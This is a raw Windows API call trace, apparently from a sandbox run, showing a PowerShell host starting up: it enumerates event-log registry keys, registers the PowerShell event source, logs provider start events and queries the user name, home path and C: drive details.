[0043.807] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x0) returned 0x2 [0043.807] RegOpenKeyExW (in: hKey=0x358, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x0) returned 0x5 [0043.815] RegOpenKeyExW (in: hKey=0x358, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x374) returned 0x0 [0043.815] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x0) returned 0x2 [0043.815] RegOpenKeyExW (in: hKey=0x358, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x378) returned 0x0 [0043.815] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x37c) returned 0x0 [0043.815] RegCloseKey (hKey=0x37c) returned 0x0 [0043.815] RegCloseKey (hKey=0x358) returned 0x0 [0043.816] RegCloseKey (hKey=0x378) returned 0x0 [0043.816] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d588 | out: phkResult=0x24d588*=0x378) returned 0x0 [0043.816] RegQueryInfoKeyW (in: hKey=0x378, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x24d4fc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d4f8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x24d4fc*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d4f8*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.816] CoTaskMemFree (pv=0x0) [0043.816] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.816] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x0, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.816] CoTaskMemFree (pv=0x393c20) [0043.816] CoTaskMemFree (pv=0x0) [0043.816] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.816] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x1, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.816] CoTaskMemFree (pv=0x393c20) [0043.816] CoTaskMemFree (pv=0x0) [0043.816] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.816] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x2, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.817] CoTaskMemFree (pv=0x393c20) [0043.817] CoTaskMemFree (pv=0x0) [0043.817] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.817] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x3, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.817] CoTaskMemFree (pv=0x393c20) [0043.817] CoTaskMemFree (pv=0x0) [0043.817] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.817] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x4, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.817] CoTaskMemFree (pv=0x393c20) [0043.817] CoTaskMemFree (pv=0x0) [0043.817] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.817] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x5, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.817] CoTaskMemFree (pv=0x393c20) [0043.817] CoTaskMemFree (pv=0x0) [0043.817] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.817] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x6, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.817] CoTaskMemFree (pv=0x393c20) [0043.817] CoTaskMemFree (pv=0x0) [0043.817] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.817] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x7, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.817] CoTaskMemFree (pv=0x393c20) [0043.817] CoTaskMemFree (pv=0x0) [0043.817] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.817] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x8, lpName=0x393c20, lpcchName=0x24d588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x24d588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.817] CoTaskMemFree (pv=0x393c20) [0043.817] CoTaskMemFree (pv=0x0) [0043.817] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x358) returned 0x0 [0043.817] RegOpenKeyExW (in: hKey=0x358, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x0) returned 0x2 [0043.817] RegOpenKeyExW (in: hKey=0x378, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x37c) returned 0x0 [0043.817] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x0) returned 0x2 [0043.817] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x380) returned 0x0 [0043.818] RegOpenKeyExW (in: hKey=0x380, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x0) returned 0x2 [0043.818] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x384) returned 0x0 [0043.818] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x0) returned 0x2 [0043.818] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x388) returned 0x0 [0043.818] RegOpenKeyExW (in: hKey=0x388, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x0) returned 0x2 [0043.818] RegOpenKeyExW (in: hKey=0x378, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x38c) returned 0x0 [0043.818] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x0) returned 0x2 [0043.818] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x0) returned 0x5 [0043.825] RegOpenKeyExW (in: hKey=0x378, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x390) returned 0x0 [0043.825] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x0) returned 0x2 [0043.825] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x394) returned 0x0 [0043.825] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5e8 | out: phkResult=0x24d5e8*=0x398) returned 0x0 [0043.825] RegCloseKey (hKey=0x398) returned 0x0 [0043.825] RegCloseKey (hKey=0x378) returned 0x0 [0043.826] RegCloseKey (hKey=0x394) returned 0x0 [0043.827] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d558 | out: phkResult=0x24d558*=0x394) returned 0x0 [0043.827] RegQueryInfoKeyW (in: hKey=0x394, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x24d4cc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d4c8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x24d4cc*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d4c8*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.827] CoTaskMemFree (pv=0x0) [0043.827] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.827] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x0, lpName=0x393c20, lpcchName=0x24d558, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x24d558, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.827] CoTaskMemFree (pv=0x393c20) [0043.827] CoTaskMemFree (pv=0x0) [0043.827] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.827] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x1, lpName=0x393c20, lpcchName=0x24d558, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x24d558, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.827] CoTaskMemFree (pv=0x393c20) [0043.827] CoTaskMemFree (pv=0x0) [0043.827] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.827] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x2, lpName=0x393c20, lpcchName=0x24d558, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x24d558, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.827] CoTaskMemFree (pv=0x393c20) [0043.827] CoTaskMemFree (pv=0x0) [0043.827] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.827] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x3, lpName=0x393c20, lpcchName=0x24d558, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x24d558, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.827] CoTaskMemFree (pv=0x393c20) [0043.827] CoTaskMemFree (pv=0x0) [0043.827] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.827] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x4, lpName=0x393c20, lpcchName=0x24d558, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x24d558, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.827] CoTaskMemFree (pv=0x393c20) [0043.827] CoTaskMemFree (pv=0x0) [0043.827] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.827] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x5, lpName=0x393c20, lpcchName=0x24d558, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x24d558, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.827] CoTaskMemFree (pv=0x393c20) [0043.827] CoTaskMemFree (pv=0x0) [0043.827] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.827] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x6, lpName=0x393c20, lpcchName=0x24d558, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x24d558, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.827] CoTaskMemFree (pv=0x393c20) [0043.827] CoTaskMemFree (pv=0x0) [0043.827] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.827] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x7, lpName=0x393c20, lpcchName=0x24d558, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x24d558, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.828] CoTaskMemFree (pv=0x393c20) [0043.828] CoTaskMemFree (pv=0x0) [0043.828] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.828] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x8, lpName=0x393c20, lpcchName=0x24d558, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x24d558, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.828] CoTaskMemFree (pv=0x393c20) [0043.828] CoTaskMemFree (pv=0x0) [0043.828] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5b8 | out: phkResult=0x24d5b8*=0x378) returned 0x0 [0043.828] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5b8 | out: phkResult=0x24d5b8*=0x0) returned 0x2 [0043.828] RegOpenKeyExW (in: hKey=0x394, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5b8 | out: phkResult=0x24d5b8*=0x398) returned 0x0 [0043.828] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5b8 | out: phkResult=0x24d5b8*=0x0) returned 0x2 [0043.828] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5b8 | out: phkResult=0x24d5b8*=0x39c) returned 0x0 [0043.828] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5b8 | out: phkResult=0x24d5b8*=0x0) returned 0x2 [0043.828] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5b8 | out: phkResult=0x24d5b8*=0x3a0) returned 0x0 [0043.828] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5b8 | out: phkResult=0x24d5b8*=0x0) returned 0x2 [0043.828] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5b8 | out: phkResult=0x24d5b8*=0x3a4) returned 0x0 [0043.828] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5b8 | out: phkResult=0x24d5b8*=0x0) returned 0x2 [0043.828] RegOpenKeyExW (in: hKey=0x394, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5b8 | out: phkResult=0x24d5b8*=0x3a8) returned 0x0 [0043.828] RegOpenKeyExW (in: hKey=0x3a8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5b8 | out: phkResult=0x24d5b8*=0x0) returned 0x2 [0043.829] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5b8 | out: phkResult=0x24d5b8*=0x0) returned 0x5 [0043.830] RegOpenKeyExW (in: hKey=0x394, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5b8 | out: phkResult=0x24d5b8*=0x3ac) returned 0x0 [0043.830] RegOpenKeyExW (in: hKey=0x3ac, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5b8 | out: phkResult=0x24d5b8*=0x0) returned 0x2 [0043.830] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5b8 | out: phkResult=0x24d5b8*=0x3b0) returned 0x0 [0043.830] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d5b8 | out: phkResult=0x24d5b8*=0x3b4) returned 0x0 [0043.830] RegCloseKey (hKey=0x3b4) returned 0x0 [0043.830] RegCloseKey (hKey=0x394) returned 0x0 [0043.831] RegCloseKey (hKey=0x3b0) returned 0x0 [0043.835] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x1bab0008 [0043.837] ReportEventW (hEventLog=0x1bab0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3cf5b20*="WSMan", lpRawData=0x3cf5890) returned 1 [0043.840] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0043.840] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.841] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1ba16e60, nSize=0x24d848 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d848) returned 0x1 [0043.841] GetUserNameW (in: lpBuffer=0x393c20, pcbBuffer=0x24d888 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d888) returned 1 [0043.841] ReportEventW (hEventLog=0x1bab0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3cfb008*="Alias", lpRawData=0x3cfad98) returned 1 [0043.842] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0043.842] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.842] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1ba16e60, nSize=0x24d848 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d848) returned 0x1 [0043.842] GetUserNameW (in: lpBuffer=0x393c20, pcbBuffer=0x24d888 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d888) returned 1 [0043.843] ReportEventW (hEventLog=0x1bab0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d005b0*="Environment", lpRawData=0x3d00340) returned 1 [0043.843] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0043.843] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0043.843] CoTaskMemAlloc (cb=0x104) returned 0x3d68d0 [0043.843] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0043.843] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x3d68d0, nSize=0x80 | out: lpBuffer="\\Users\\aETAdzjz") returned 0xf [0043.844] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x24d3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0043.844] SetErrorMode (uMode=0x1) returned 0x1 [0043.844] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0x24d600 | out: lpFileInformation=0x24d600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.844] SetErrorMode (uMode=0x1) returned 0x1 [0043.845] GetLogicalDrives () returned 0x4 [0043.847] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x24d160, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0043.847] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0043.848] SetErrorMode (uMode=0x1) returned 0x1 [0043.848] CoTaskMemAlloc (cb=0x68) returned 0x1b9c8280 [0043.848] CoTaskMemAlloc (cb=0x68) returned 0x1b9c82f0 [0043.848] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x1b9c8280, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x24d5d0, lpMaximumComponentLength=0x24d5cc, lpFileSystemFlags=0x24d5c8, lpFileSystemNameBuffer=0x1b9c82f0, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x24d5d0*=0x705ba84c, lpMaximumComponentLength=0x24d5cc*=0xff, lpFileSystemFlags=0x24d5c8*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0043.848] CoTaskMemFree (pv=0x1b9c8280) [0043.848] CoTaskMemFree (pv=0x1b9c82f0) [0043.848] SetErrorMode (uMode=0x1) returned 0x1 [0043.848] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0043.849] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x24d310, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0043.849] SetErrorMode (uMode=0x1) returned 0x1 [0043.849] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x24d570 | out: lpFileInformation=0x24d570*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.849] SetErrorMode (uMode=0x1) returned 0x1 [0043.850] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x24d310, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0043.850] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x24d1c0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0043.850] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0043.850] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0043.850] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0043.850] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x24d140, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0043.851] SetErrorMode (uMode=0x1) returned 0x1 [0043.851] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x24d3a0 | out: lpFileInformation=0x24d3a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.851] SetErrorMode (uMode=0x1) returned 0x1 [0043.851] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x24d140, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0043.851] SetErrorMode (uMode=0x1) returned 0x1 [0043.851] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x24d3a0 | out: lpFileInformation=0x24d3a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.851] SetErrorMode (uMode=0x1) returned 0x1 [0043.851] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x24d1e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0043.851] SetErrorMode (uMode=0x1) returned 0x1 [0043.851] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x24d440 | out: lpFileInformation=0x24d440*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0043.851] SetErrorMode (uMode=0x1) returned 0x1 [0043.851] CoTaskMemAlloc (cb=0x804) returned 0x1ba16e60 [0043.852] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1ba16e60, nSize=0x24d848 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d848) returned 0x1 [0043.852] CoTaskMemFree (pv=0x1ba16e60) [0043.852] CoTaskMemAlloc (cb=0x204) returned 0x393c20 [0043.852] GetUserNameW (in: lpBuffer=0x393c20, pcbBuffer=0x24d888 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d888) returned 1 [0043.852] CoTaskMemFree (pv=0x393c20) [0043.852] ReportEventW (hEventLog=0x1bab0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d07608*="FileSystem", lpRawData=0x3d07398) returned 1 [0043.853] 